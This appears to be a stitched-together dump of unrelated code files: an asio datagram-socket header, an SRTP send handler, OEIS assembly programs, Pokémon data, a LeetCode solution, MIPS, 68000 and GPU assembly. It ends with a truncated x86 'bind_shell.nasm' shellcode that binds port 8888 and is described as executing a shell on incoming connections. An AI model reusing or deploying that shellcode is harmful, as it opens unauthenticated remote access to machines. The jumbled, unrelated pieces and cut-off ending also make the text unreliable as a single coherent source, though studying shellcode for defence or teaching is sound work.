<typename ConstBufferSequence, typename WriteHandler> EGT_ASIO_INITFN_RESULT_TYPE(WriteHandler, void (egt::asio::error_code, std::size_t)) async_send(const ConstBufferSequence& buffers, socket_base::message_flags flags, EGT_ASIO_MOVE_ARG(WriteHandler) handler) { // If you get an error on the following line it means that your handler does // not meet the documented type requirements for a WriteHandler. EGT_ASIO_WRITE_HANDLER_CHECK(WriteHandler, handler) type_check; #if defined(EGT_ASIO_ENABLE_OLD_SERVICES) return this->get_service().async_send(this->get_implementation(), buffers, flags, EGT_ASIO_MOVE_CAST(WriteHandler)(handler)); #else // defined(EGT_ASIO_ENABLE_OLD_SERVICES) async_completion<WriteHandler, void (egt::asio::error_code, std::size_t)> init(handler); this->get_service().async_send(this->get_implementation(), buffers, flags, init.completion_handler); return init.result.get(); #endif // defined(EGT_ASIO_ENABLE_OLD_SERVICES) } /// Send a datagram to the specified endpoint. /** * This function is used to send a datagram to the specified remote endpoint. * The function call will block until the data has been sent successfully or * an error occurs. * * @param buffers One or more data buffers to be sent to the remote endpoint. * * @param destination The remote endpoint to which the data will be sent. * * @returns The number of bytes sent. * * @throws egt::asio::system_error Thrown on failure. * * @par Example * To send a single data buffer use the @ref buffer function as follows: * @code * egt::asio::ip::udp::endpoint destination( * egt::asio::ip::address::from_string("1.2.3.4"), 12345); * socket.send_to(egt::asio::buffer(data, size), destination); * @endcode * See the @ref buffer documentation for information on sending multiple * buffers in one go, and how to use it with arrays, boost::array or * std::vector. */ template <typename ConstBufferSequence> std::size_t send_to(const ConstBufferSequence& buffers, const endpoint_type& destination) { egt::asio::error_code ec; std::size_t s = this->get_service().send_to( this->get_implementation(), buffers, destination, 0, ec); egt::asio::detail::throw_error(ec, "send_to"); return s; } /// Send a datagram to the specified endpoint. /** * This function is used to send a datagram to the specified remote endpoint. * The function call will block until the data has been sent successfully or * an error occurs. * * @param buffers One or more data buffers to be sent to the remote endpoint. * * @param destination The remote endpoint to which the data will be sent. * * @param flags Flags specifying how the send call is to be made. * * @returns The number of bytes sent. * * @throws egt::asio::system_error Thrown on failure. */ template <typename ConstBufferSequence> std::size_t send_to(const ConstBufferSequence& buffers, const endpoint_type& destination, socket_base::message_flags flags) { egt::asio::error_code ec; std::size_t s = this->get_service().send_to( this->get_implementation(), buffers, destination, flags, ec); egt::asio::detail::throw_error(ec, "send_to"); return s; } /// Send a datagram to the specified endpoint. /** * This function is used to send a datagram to the specified remote endpoint. * The function call will block until the data has been sent successfully or * an error occurs. * * @param buffers One or more data buffers to be sent to the remote endpoint. * * @param destination The remote endpoint to which the data will be sent. * * @param flags Flags specifying how the send call is to be made. * * @param ec Set to indicate what error occurred, if any. * * @returns The number of bytes sent. */ template <typename ConstBufferSequence> std::size_t send_to(const ConstBufferSequence& buffers, const endpoint_type& destination, socket_base::message_flags flags, egt::asio::error_code& ec) { return this->get_service().send_to(this->get_implementation(), buffers, destination, flags, ec); } /// Start an asynchronous send. /** * This function is used to asynchronously send a datagram to the specified * remote endpoint. The function call always returns immediately. * * @param buffers One or more data buffers to be sent to the remote endpoint. * Although the buffers object may be copied as necessary, ownership of the * underlying memory blocks is retained by the caller, which must guarantee * that they remain valid until the handler is called. * * @param destination The remote endpoint to which the data will be sent. * Copies will be made of the endpoint as required. * * @param handler The handler to be called when the send operation completes. * Copies will be made of the handler as required. The function signature of * the handler must be: * @code void handler( * const egt::asio::error_code& error, // Result of operation. * std::size_t bytes_transferred // Number of bytes sent. * ); @endcode * Regardless of whether the asynchronous operation completes immediately or * not, the handler will not be invoked from within this function. Invocation * of the handler will be performed in a manner equivalent to using * egt::asio::io_context::post(). * * @par Example * To send a single data buffer use the @ref buffer function as follows: * @code * egt::asio::ip::udp::endpoint destination( * egt::asio::ip::address::from_string("1.2.3.4"), 12345); * socket.async_send_to( * egt::asio::buffer(data, size), destination, handler); * @endcode * See the @ref buffer documentation for information on sending multiple * buffers in one go, and how to use it with arrays, boost::array or * std::vector. */ template <typename ConstBufferSequence, typename WriteHandler> EGT_ASIO_INITFN_RESULT_TYPE(WriteHandler, void (egt::asio::error_code, std::size_t)) async_send_to(const ConstBufferSequence& buffers, const endpoint_type& destination, EGT_ASIO_MOVE_ARG(WriteHandler) handler) { // If you get an error on the following line it means that your handler does // not meet the documented type requirements for a WriteHandler. EGT_ASIO_WRITE_HANDLER_CHECK(WriteHandler, handler) type_check; #if defined(EGT_ASIO_ENABLE_OLD_SERVICES) return this->get_service().async_send_to( this->get_implementation(), buffers, destination, 0, EGT_ASIO_MOVE_CAST(WriteHandler)(handler)); #else // defined(EGT_ASIO_ENABLE_OLD_SERVICES) async_completion<WriteHandler, void (egt::asio::error_code, std::size_t)> init(handler); this->get_service().async_send_to( this->get_implementation(), buffers, destination, 0, init.completion_handler); return init.result.get(); #endif // defined(EGT_ASIO_ENABLE_OLD_SERVICES) } /// Start an asynchronous send. /** * This function is used to asynchronously send a datagram to the specified * remote endpoint. The function call always returns immediately. * * @param buffers One or more data buffers to be sent to the remote endpoint. * Although the buffers object may be copied as necessary, ownership of the * underlying memory blocks is retained by the caller, which must guarantee * that they remain valid until the handler is called. * * @param flags Flags specifying how the send call is to be made. * * @param destination The remote endpoint to which the data will be sent. * Copies will be made of the endpoint as required. * * @param handler The handler to be called when the send operation completes. * Copies will be made of the handler as required. The function signature of * the handler must be: * @code void handler( * const egt::asio::error_code& error, // Result of operation. * std::size_t bytes_transferred // Number of bytes sent. * ); @endcode * Regardless of whether the asynchronous operation completes immediately or * not, the handler will not be invoked from within this function. Invocation * of the handler will be performed in a manner equivalent to using * egt::asio::io_context::post(). */ template <typename ConstBufferSequence, typename WriteHandler> EGT_ASIO_INITFN_RESULT_TYPE(WriteHandler, void (egt::asio::error_code, std::size_t)) async_send_to(const ConstBufferSequence& buffers, const endpoint_type& destination, socket_base::message_flags flags, EGT_ASIO_MOVE_ARG(WriteHandler) handler) { // If you get an error on the following line it means that your handler does // not meet the documented type requirements for a WriteHandler. EGT_ASIO_WRITE_HANDLER_CHECK(WriteHandler, handler) type_check; #if defined(EGT_ASIO_ENABLE_OLD_SERVICES) return this->get_service().async_send_to( this->get_implementation(), buffers, destination, flags, EGT_ASIO_MOVE_CAST(WriteHandler)(handler)); #else // defined(EGT_ASIO_ENABLE_OLD_SERVICES) async_completion<WriteHandler, void (egt::asio::error_code, std::size_t)> init(handler); this->get_service().async_send_to( this->get_implementation(), buffers, destination, flags, init.completion_handler); return init.result.get(); #endif // defined(EGT_ASIO_ENABLE_OLD_SERVICES) } /// Receive some data on a connected socket. /** * This function is used to receive data on the datagram socket. The function * call will block until data has been received successfully or an error * occurs. * * @param buffers One or more buffers into which the data will be received. * * @returns The number of bytes received. * * @throws egt::asio::system_error Thrown on failure. * * @note The receive operation can only be used with a connected socket. Use * the receive_from function to receive data on an unconnected datagram * socket. * * @par Example * To receive into a single data buffer use the @ref buffer function as * follows: * @code socket.receive(egt::asio::buffer(data, size)); @endcode * See the @ref buffer documentation for information on receiving into * multiple buffers in one go, and how to use it with arrays, boost::array or * std::vector. */ template <typename MutableBufferSequence> std::size_t receive(const MutableBufferSequence& buffers) { egt::asio::error_code ec; std::size_t s = this->get_service().receive( this->get_implementation(), buffers, 0, ec); egt::asio::detail::throw_error(ec, "receive"); return s; } /// Receive some data on a connected socket. /** * This function is used to receive data on the datagram socket. The function * call will block until data has been received successfully or an error * occurs. * * @param buffers One or more buffers into which the data will be received. * * @param flags Flags specifying how the receive call is to be made. * * @returns The number of bytes received. * * @throws egt::asio::system_error Thrown on failure. * * @note The receive operation can only be used with a connected socket. Use * the receive_from function to receive data on an unconnected datagram * socket. */ template <typename MutableBufferSequence> std::size_t receive(const MutableBufferSequence& buffers, socket_base::message_flags flags) { egt::asio::error_code ec; std::size_t s = this->get_service().receive( this->get_implementation(), buffers, flags, ec); egt::asio::detail::throw_error(ec, "receive"); return s; } /// Receive some data on a connected socket. /** * This function is used to receive data on the datagram socket. The function * call will block until data has been received successfully or an error * occurs. * * @param buffers One or more buffers into which the data will be received. * * @param flags Flags specifying how the receive call is to be made. * * @param ec Set to indicate what error occurred, if any. * * @returns The number of bytes received. * * @note The receive operation can only be used with a connected socket. Use * the receive_from function to receive data on an unconnected datagram * socket. */ template <typename MutableBufferSequence> std::size_t receive(const MutableBufferSequence& buffers, socket_base::message_flags flags, egt::asio::error_code& ec) { return this->get_service().receive( this->get_implementation(), buffers, flags, ec); } /// Start an asynchronous receive on a connected socket. /** * This function is used to asynchronously receive data from the datagram * socket. The function call always returns immediately. * * @param buffers One or more buffers into which the data will be received. * Although the buffers object may be copied as necessary, ownership of the * underlying memory blocks is retained by the caller, which must guarantee * that they remain valid until the handler is called. * * @param handler The handler to be called when the receive operation * completes. Copies will be made of the handler as required. The function * signature of the handler must be: * @code void handler( * const egt::asio::error_code& error, // Result of operation. * std::size_t bytes_transferred // Number of bytes received. * ); @endcode * Regardless of whether the asynchronous operation completes immediately or * not, the handler will not be invoked from within this function. Invocation * of the handler will be performed in a manner equivalent to using * egt::asio::io_context::post(). * * @note The async_receive operation can only be used with a connected socket. * Use the async_receive_from function to receive data on an unconnected * datagram socket. * * @par Example * To receive into a single data buffer use the @ref buffer function as * follows: * @code * socket.async_receive(egt::asio::buffer(data, size), handler); * @endcode * See the @ref buffer documentation for information on receiving into * multiple buffers in one go, and how to use it with arrays, boost::array or * std::vector. */ template <typename MutableBufferSequence, typename ReadHandler> EGT_ASIO_INITFN_RESULT_TYPE(ReadHandler, void (egt::asio::error_code, std::size_t)) async_receive(const MutableBufferSequence& buffers, EGT_ASIO_MOVE_ARG(ReadHandler) handler) { // If you get an error on the following line it means that your handler does // not meet the documented type requirements for a ReadHandler. EGT_ASIO_READ_HANDLER_CHECK(ReadHandler, handler) type_check; #if defined(EGT_ASIO_ENABLE_OLD_SERVICES) return this->get_service().async_receive(this->get_implementation(), buffers, 0, EGT_ASIO_MOVE_CAST(ReadHandler)(handler)); #else // defined(EGT_ASIO_ENABLE_OLD_SERVICES) async_completion<ReadHandler, void (egt::asio::error_code, std::size_t)> init(handler); this->get_service().async_receive(this->get_implementation(), buffers, 0, init.completion_handler); return init.result.get(); #endif // defined(EGT_ASIO_ENABLE_OLD_SERVICES) } /// Start an asynchronous receive on a connected socket. /** * This function is used to asynchronously receive data from the datagram * socket. The function call always returns immediately. * * @param buffers One or more buffers into which the data will be received. * Although the buffers object may be copied as necessary, ownership of the * underlying memory blocks is retained by the caller, which must guarantee * that they remain valid until the handler is called. * * @param flags Flags specifying how the receive call is to be made. * * @param handler The handler to be called when the receive operation * completes. Copies will be made of the handler as required. The function * signature of the handler must be: * @code void handler( * const egt::asio::error_code& error, // Result of operation. * std::size_t bytes_transferred // Number of bytes received. * ); @endcode * Regardless of whether the asynchronous operation completes immediately or * not, the handler will not be invoked from within this function. Invocation * of the handler will be performed in a manner equivalent to using * egt::asio::io_context::post(). * * @note The async_receive operation can only be used with a connected socket. * Use the async_receive_from function to receive data on an unconnected * datagram socket. */ template <typename MutableBufferSequence, typename ReadHandler> EGT_ASIO_INITFN_RESULT_TYPE(ReadHandler, void (egt::asio::error_code, std::size_t)) async_receive(const MutableBufferSequence& buffers, socket_base::message_flags flags, EGT_ASIO_MOVE_ARG(ReadHandler) handler) { // If you get an error on the following line it means that your handler does // not meet the documented type requirements for a ReadHandler. EGT_ASIO_READ_HANDLER_CHECK(ReadHandler, handler) type_check; #if defined(EGT_ASIO_ENABLE_OLD_SERVICES) return this->get_service().async_receive(this->get_implementation(), buffers, flags, EGT_ASIO_MOVE_CAST(ReadHandler)(handler)); #else // defined(EGT_ASIO_ENABLE_OLD_SERVICES) async_completion<ReadHandler, void (egt::asio::error_code, std::size_t)> init(handler); this->get_service().async_receive(this->get_implementation(), buffers, flags, init.completion_handler); return init.result.get(); #endif // defined(EGT_ASIO_ENABLE_OLD_SERVICES) } /// Receive a datagram with the endpoint of the sender. /** * This function is used to receive a datagram. The function call will block * until data has been received successfully or an error occurs. * * @param buffers One or more buffers into which the data will be received. * * @param sender_endpoint An endpoint object that receives the endpoint of * the remote sender of the datagram. * * @returns The number of bytes received. * * @throws egt::asio::system_error Thrown on failure. * * @par Example * To receive into a single data buffer use the @ref buffer function as * follows: * @code * egt::asio::ip::udp::endpoint sender_endpoint; * socket.receive_from( * egt::asio::buffer(data, size), sender_endpoint); * @endcode * See the @ref buffer documentation for information on receiving into * multiple buffers in one go, and how to use it with arrays, boost::array or * std::vector. */ template <typename MutableBufferSequence> std::size_t receive_from(const MutableBufferSequence& buffers, endpoint_type& sender_endpoint) { egt::asio::error_code ec; std::size_t s = this->get_service().receive_from( this->get_implementation(), buffers, sender_endpoint, 0, ec); egt::asio::detail::throw_error(ec, "receive_from"); return s; } /// Receive a datagram with the endpoint of the sender. /** * This function is used to receive a datagram. The function call will block * until data has been received successfully or an error occurs. * * @param buffers One or more buffers into which the data will be received. * * @param sender_endpoint An endpoint object that receives the endpoint of * the remote sender of the datagram. * * @param flags Flags specifying how the receive call is to be made. * * @returns The number of bytes received. * * @throws egt::asio::system_error Thrown on failure. */ template <typename MutableBufferSequence> std::size_t receive_from(const MutableBufferSequence& buffers, endpoint_type& sender_endpoint, socket_base::message_flags flags) { egt::asio::error_code ec; std::size_t s = this->get_service().receive_from( this->get_implementation(), buffers, sender_endpoint, flags, ec); egt::asio::detail::throw_error(ec, "receive_from"); return s; } /// Receive a datagram with the endpoint of the sender. /** * This function is used to receive a datagram. The function call will block * until data has been received successfully or an error occurs. * * @param buffers One or more buffers into which the data will be received. * * @param sender_endpoint An endpoint object that receives the endpoint of * the remote sender of the datagram. * * @param flags Flags specifying how the receive call is to be made. * * @param ec Set to indicate what error occurred, if any. * * @returns The number of bytes received. */ template <typename MutableBufferSequence> std::size_t receive_from(const MutableBufferSequence& buffers, endpoint_type& sender_endpoint, socket_base::message_flags flags, egt::asio::error_code& ec) { return this->get_service().receive_from(this->get_implementation(), buffers, sender_endpoint, flags, ec); } /// Start an asynchronous receive. /** * This function is used to asynchronously receive a datagram. The function * call always returns immediately. * * @param buffers One or more buffers into which the data will be received. * Although the buffers object may be copied as necessary, ownership of the * underlying memory blocks is retained by the caller, which must guarantee * that they remain valid until the handler is called. * * @param sender_endpoint An endpoint object that receives the endpoint of * the remote sender of the datagram. Ownership of the sender_endpoint object * is retained by the caller, which must guarantee that it is valid until the * handler is called. * * @param handler The handler to be called when the receive operation * completes. Copies will be made of the handler as required. The function * signature of the handler must be: * @code void handler( * const egt::asio::error_code& error, // Result of operation. * std::size_t bytes_transferred // Number of bytes received. * ); @endcode * Regardless of whether the asynchronous operation completes immediately or * not, the handler will not be invoked from within this function. Invocation * of the handler will be performed in a manner equivalent to using * egt::asio::io_context::post(). * * @par Example * To receive into a single data buffer use the @ref buffer function as * follows: * @code socket.async_receive_from( * egt::asio::buffer(data, size), sender_endpoint, handler); @endcode * See the @ref buffer documentation for information on receiving into * multiple buffers in one go, and how to use it with arrays, boost::array or * std::vector. */ template <typename MutableBufferSequence, typename ReadHandler> EGT_ASIO_INITFN_RESULT_TYPE(ReadHandler, void (egt::asio::error_code, std::size_t)) async_receive_from(const MutableBufferSequence& buffers, endpoint_type& sender_endpoint, EGT_ASIO_MOVE_ARG(ReadHandler) handler) { // If you get an error on the following line it means that your handler does // not meet the documented type requirements for a ReadHandler. EGT_ASIO_READ_HANDLER_CHECK(ReadHandler, handler) type_check; #if defined(EGT_ASIO_ENABLE_OLD_SERVICES) return this->get_service().async_receive_from( this->get_implementation(), buffers, sender_endpoint, 0, EGT_ASIO_MOVE_CAST(ReadHandler)(handler)); #else // defined(EGT_ASIO_ENABLE_OLD_SERVICES) async_completion<ReadHandler, void (egt::asio::error_code, std::size_t)> init(handler); this->get_service().async_receive_from( this->get_implementation(), buffers, sender_endpoint, 0, init.completion_handler); return init.result.get(); #endif // defined(EGT_ASIO_ENABLE_OLD_SERVICES) } /// Start an asynchronous receive. /** * This function is used to asynchronously receive a datagram. The function * call always returns immediately. * * @param buffers One or more buffers into which the data will be received. * Although the buffers object may be copied as necessary, ownership of the * underlying memory blocks is retained by the caller, which must guarantee * that they remain valid until the handler is called. * * @param sender_endpoint An endpoint object that receives the endpoint of * the remote sender of the datagram. Ownership of the sender_endpoint object * is retained by the caller, which must guarantee that it is valid until the * handler is called. * * @param flags Flags specifying how the receive call is to be made. * * @param handler The handler to be called when the receive operation * completes. Copies will be made of the handler as required. The function * signature of the handler must be: * @code void handler( * const egt::asio::error_code& error, // Result of operation. * std::size_t bytes_transferred // Number of bytes received. * ); @endcode * Regardless of whether the asynchronous operation completes immediately or * not, the handler will not be invoked from within this function. Invocation * of the handler will be performed in a manner equivalent to using * egt::asio::io_context::post(). */ template <typename MutableBufferSequence, typename ReadHandler> EGT_ASIO_INITFN_RESULT_TYPE(ReadHandler, void (egt::asio::error_code, std::size_t)) async_receive_from(const MutableBufferSequence& buffers, endpoint_type& sender_endpoint, socket_base::message_flags flags, EGT_ASIO_MOVE_ARG(ReadHandler) handler) { // If you get an error on the following line it means that your handler does // not meet the documented type requirements for a ReadHandler. EGT_ASIO_READ_HANDLER_CHECK(ReadHandler, handler) type_check; #if defined(EGT_ASIO_ENABLE_OLD_SERVICES) return this->get_service().async_receive_from( this->get_implementation(), buffers, sender_endpoint, flags, EGT_ASIO_MOVE_CAST(ReadHandler)(handler)); #else // defined(EGT_ASIO_ENABLE_OLD_SERVICES) async_completion<ReadHandler, void (egt::asio::error_code, std::size_t)> init(handler); this->get_service().async_receive_from( this->get_implementation(), buffers, sender_endpoint, flags, init.completion_handler); return init.result.get(); #endif // defined(EGT_ASIO_ENABLE_OLD_SERVICES) } }; } // namespace asio } // namespace egt #include <egt/asio/detail/pop_options.hpp> #endif // EGT_ASIO_BASIC_DATAGRAM_SOCKET_HPP
#include "SRTP_OutgoingMessageHandler.h" #include "SRTP_CommonTypes.h" #include "SRTP_GlobalVariables.h" #include "SRTP_ConnectionTable.h" #include "SRTP_PeerTable.h" #include <iostream> SRTP_OutgoingMessageHandler::SRTP_OutgoingMessageHandler(SRTP_OutgoingBuffer *out_buf_ptr) { std::clog<<"ENTER:\t SRTP_OutgoingMessageHandler::SRTP_OutgoingMessageHandler\n"; m_outgoing_buffer_ptr = out_buf_ptr; m_error_type = NO_ERROR; m_packet_number = 0; std::clog<<"EXIT:\t SRTP_OutgoingMessageHandler::SRTP_OutgoingMessageHandler\n"; } SRTP_OutgoingMessageHandler::~SRTP_OutgoingMessageHandler(){ std::clog<<"ENTER:\t SRTP_OutgoingMessageHandler::~SRTP_OutgoingMessageHandler\n"; m_error_type = NO_ERROR; m_packet_number = 0; std::clog<<"EXIT:\t SRTP_OutgoingMessageHandler::~SRTP_OutgoingMessageHandler\n"; } int SRTP_OutgoingMessageHandler::SRTP_Send(int connection_num, std::string data) { std::clog<<"ENTER:\t SRTP_OutgoingMessageHandler::SRTP_Send\n"; try { SRTP_Packet packet; int local_seq_num = SRTP_PeerTable::get_peer_table_instance().get_peer_table_entry(connection_num).get_cur_seq_num(); SRTP_PeerInfo peer_info = SRTP_PeerTable::get_peer_table_instance().get_peer_table_entry(connection_num); peer_info.set_cur_seq_num(local_seq_num+1); SRTP_PeerTable::get_peer_table_instance().modify_peer_table_entry(connection_num, peer_info); SRTP_ConnectionInfo objconnectinfo = SRTP_ConnectionTable::get_connection_table_instance().get_connection_table_entry(connection_num); int local_win_size = SRTP_GlobalVariables::get_global_var_obj_instance().get_window_size(); packet.set_connection_id(connection_num); packet.set_packet_type(SRTP_DATA); packet.set_source_addr(objconnectinfo.get_local_addr()); packet.set_dest_addr(objconnectinfo.get_remote_addr()); packet.set_source_port(objconnectinfo.get_local_port()); packet.set_dest_port(objconnectinfo.get_remote_port()); packet.set_seq_num(local_seq_num); packet.set_ack_num(0); packet.set_window_size(local_win_size); packet.set_checksum(0); packet.set_buffer(data); timeval tim; gettimeofday(&tim, NULL); unsigned long time_sent = (tim.tv_sec * 1000000)+tim.tv_usec; packet.set_time(time_sent); // Check if we have to simulate errors if(m_packet_number == local_seq_num){ switch(m_error_type) { case PACKET_LOSS: { std::clog<<"WAR:\t Packet has not been added to simulate Packet loss\n"; break; } case OUT_OF_ORDER: { std::clog<<"WAR:\t Packet has been added out of order to simulate out of order\n"; packet.set_seq_num(local_seq_num+1); m_outgoing_buffer_ptr->add_packet(packet); break; } case DUPLICATE: { std::clog<<"WAR:\t Packet has been added twice out of order to simulate duplicate packet\n"; m_outgoing_buffer_ptr->add_packet(packet); m_outgoing_buffer_ptr->add_packet(packet); break; } case NO_ERROR: { m_outgoing_buffer_ptr->add_packet(packet); break; } } } else{ std::clog<<"INFO:\t adding packet to the buffer: "<<data<<" with seq num: "<<local_seq_num<<" connection id"<<connection_num<<" packet type: "<<packet.get_packet_type()<<"\n"; m_outgoing_buffer_ptr->add_packet(packet); } pthread_mutex_lock( &out_buf_cv_mutex ); if(m_outgoing_buffer_ptr->get_buffer_size() > 0) { std::clog<<"INFO:\t Notifying Sender Thread\n"; pthread_cond_signal( &out_buf_cond ); } pthread_mutex_unlock( &out_buf_cv_mutex ); } catch(...) { exit(0); } std::clog<<"EXIT:\t SRTP_OutgoingMessageHandler::SRTP_Send\n"; } void SRTP_OutgoingMessageHandler::simulate_error_case(SRTP_SIMULATION_ERROR error_type, int packet_number){ std::clog<<"ENTER:\t SRTP_OutgoingMessageHandler::simulate_error_case\n"; std::clog<<"PARAM:\t Error type: "<<error_type<<" packet number: "<<packet_number<<std::endl; m_error_type = error_type; m_packet_number = packet_number; std::clog<<"EXIT:\t SRTP_OutgoingMessageHandler::simulate_error_case\n"; }
; A085636: Erroneous version of A046142. ; 1,7,33,185,553,1233,2321,3913,6105,8993,12673,17241,22793,29425,37233,46313,56761,68673,82145,97273,114153,132881,153553,176265,201113,228193,257601,289433,323785,360753,400433,442921,488313,536705 mul $0,4 lpb $0 sub $0,1 trn $0,4 mov $2,$0 add $0,2 div $0,2 add $3,$2 mov $2,$0 add $3,4 add $4,$3 mul $4,$0 sub $0,$0 add $4,2 mul $4,$2 mov $1,$4 lpe div $1,2 mul $1,2 add $1,1
db 0 ; 447 DEX NO db 40, 70, 40, 60, 35, 40 ; hp atk def spd sat sdf db FIGHTING, FIGHTING ; type db 75 ; catch rate db 72 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F12_5 ; gender ratio db 100 ; unknown 1 db 25 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/sinnoh/riolu/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_MEDIUM_SLOW ; growth rate dn EGG_NONE, EGG_NONE ; egg groups ; tm/hm learnset tmhm ; end
/** * Definition for singly-linked list. * struct ListNode { * int val; * ListNode *next; * ListNode() : val(0), next(nullptr) {} * ListNode(int x) : val(x), next(nullptr) {} * ListNode(int x, ListNode *next) : val(x), next(next) {} * }; */ class Solution { public: ListNode* reverseList(ListNode* head){ if(head==NULL || head->next==NULL) return head; ListNode* nextNode, *prevNode=NULL, *dummy = head; while(dummy!=NULL){ nextNode = dummy->next; dummy->next = prevNode; prevNode = dummy; dummy = nextNode; } return prevNode; } ListNode* addTwoNumbers(ListNode* l1, ListNode* l2) { l1 = reverseList(l1); l2 = reverseList(l2); ListNode* dummy = new ListNode(); ListNode* temp = dummy; int carry=0; while(l1!=NULL || l2!=NULL || carry){ int sum=0; if(l1!=NULL){ sum+=l1->val; l1=l1->next; } if(l2!=NULL){ sum+=l2->val; l2=l2->next; } sum+=carry; carry=sum/10; ListNode* node = new ListNode(sum%10); temp->next = node; temp=temp->next; } return reverseList(dummy->next); } };
.data a.0: .word 0 t0: .word 0 b.1: .word 0 .text runtime: addi $sp, $sp, -4 sw $ra, 0($sp) lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra .end runtime .globl main .ent main main: li $3, -1 # a.0 -> $3 addi $5, $3, 1 move $6, $5 # b.1 -> $6 # Store dirty variables back into memory sw $3, a.0 sw $5, t0 sw $6, b.1 li $2, 10 syscall .end main
; A022850: Integer nearest nx, where x = sqrt(7). ; 0,3,5,8,11,13,16,19,21,24,26,29,32,34,37,40,42,45,48,50,53,56,58,61,63,66,69,71,74,77,79,82,85,87,90,93,95,98,101,103,106,108,111,114,116,119,122,124,127,130,132,135,138,140,143,146,148,151,153,156,159,161,164,167,169,172,175,177,180,183,185,188,190,193,196,198,201,204,206,209,212,214,217,220,222,225,228,230,233,235,238,241,243,246,249,251,254,257,259,262 pow $0,2 mul $0,7 seq $0,194 ; n appears 2n times, for n >= 1; also nearest integer to square root of n.
; Upper case character table/conversion V2.00  1986 Tony Tebby QJUMP ; ; Reduced code size version (MK) section cv xdef cv_upcas ;+++ ; Convert character to upper case ; ; Registers: ; Entry Exit ; D1.w character (MSB ignored) upper-case equivalent ;--- cv_upcas andi.w #$ff,d1 cmpi.b #'a',d1 blt.s cvu_rts cmpi.b #'z',d1 bgt.s cvu_more subi.b #32,d1 cvu_rts rts cvu_more cmp.b #$80,d1 ; Also from umlaut a... blt.s cvu_rts cmp.b #$8b,d1 ; ...till ae bgt.s cvu_rts addi.b #32,d1 rts end
; A001348: Mersenne numbers: 2^p - 1, where p is prime. ; 3,7,31,127,2047,8191,131071,524287,8388607,536870911,2147483647,137438953471,2199023255551,8796093022207,140737488355327,9007199254740991,576460752303423487,2305843009213693951,147573952589676412927,2361183241434822606847,9444732965739290427391,604462909807314587353087,9671406556917033397649407,618970019642690137449562111,158456325028528675187087900671,2535301200456458802993406410751,10141204801825835211973625643007,162259276829213363391578010288127,649037107316853453566312041152511,10384593717069655257060992658440191 seq $0,40 ; The prime numbers. mov $1,2 pow $1,$0 sub $1,1 mov $0,$1
/* * Copyright (c) 2017, Intel Corporation * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ L0: mov (16|M0) r21.0<1>:uw 0xFFFF:uw cmp (1|M0) (ne)f0.1 null.0<1>:w r7.2<0;1,0>:uw 0x0:uw (f0.1) cmp (1|M0) (ne)f0.1 null.0<1>:w r7.3<0;1,0>:uw 0x0:uw mov (1|M0) r24.24<1>:ub 0x1:uw mov (1|M0) r24.0<1>:ub f0.1<0;1,0>:uw (W&~f0.1)jmpi L432 L96: mov (1|M0) r25.6<1>:f r7.5<0;1,0>:f mov (1|M0) r25.4<1>:f r3.0<0;1,0>:f mov (1|M0) r25.5<1>:f r4.0<0;1,0>:f mov (1|M0) r25.2<1>:f r6.0<0;1,0>:f mov (1|M0) r25.3<1>:f r5.0<0;1,0>:f mov (8|M0) acc0.0<1>:f r6.0<0;1,0>:f mov (1|M0) r10.6<1>:f r6.0<0;1,0>:f mac (1|M0) acc0.0<1>:f r3.0<0;1,0>:f 4.0:f mac (1|M0) r10.0<1>:f r7.5<0;1,0>:f 6.0:f mac (1|M0) acc0.1<1>:f r3.0<0;1,0>:f 8.0:f mac (1|M0) r10.1<1>:f r7.5<0;1,0>:f 28.0:f mac (1|M0) acc0.2<1>:f r3.0<0;1,0>:f 12.0:f mac (1|M0) r10.2<1>:f r7.5<0;1,0>:f 66.0:f mov (8|M0) acc0.0<1>:f r5.0<0;1,0>:f mov (1|M0) r10.7<1>:f r5.0<0;1,0>:f mac (1|M0) r10.3<1>:f r4.0<0;1,0>:f 4.0:f mac (1|M0) r10.4<1>:f r4.0<0;1,0>:f 8.0:f mac (1|M0) r10.5<1>:f r4.0<0;1,0>:f 12.0:f mul (1|M0) r23.1<1>:f r4.0<0;1,0>:f 4.0:f mov (1|M0) r24.2<1>:ub 0x0:uw mov (1|M0) r23.5<1>:ud 0x0:ud L432: nop
; Filename: bind_shell.nasm ; Author: Shawn Banta ; ; Purpose: Binds to a configurable port and execs a shell on incoming connection global _start section .text _start: ; Create the Socket ; socketcall = 0x66 xor eax, eax mov al, 0x66 ; sys_socket = 0x1 xor ebx, ebx mov bl, 0x1 ; socket parameters ; AF_INET = 0x2 ; SOCK_STREAM = 0x1 ; Default Protocol for SOCK_STREAM = 0x0 xor edx, edx push edx push ebx push 0x2 ; save stack location to ecx xor ecx, ecx mov ecx, esp ; execute socket syscall int 0x80 ; save socketfd to esi mov esi, eax ; Setup bind ; socketcall = 0x66 mov al, 0x66 ; sys_bind = 0x2 mov bl, 0x2 ; AF_INET = 0x2 ; listening port 8888 = 0xB822 ; listen all interfaces = 0x0 push edx push word 0xB822 push bx ; save memory location of parameters to ecx mov ecx, esp ; bind(socketfd, mem location of struct, len of struct) push 0x10 push ecx push esi ; save new memory location of bind parameters to ecx mov ecx, esp ; execute bind syscall int 0x80 ; Setup listen ; socketcall = 0x66 mov al, 0x66 ; sys_listen = 0x4 mov bl, 0x4 ; listen(socketfd, backlog (0) ) push edx push esi ; save memory location of listen parameters to ecx mov ecx, esp ; execute listen syscall int 0x80 ; Setup accept ; socketcall = 0x66 mov al, 0x66 ; sys_accept = 0x5 mov bl, 0x5 ; accept(socketfd, 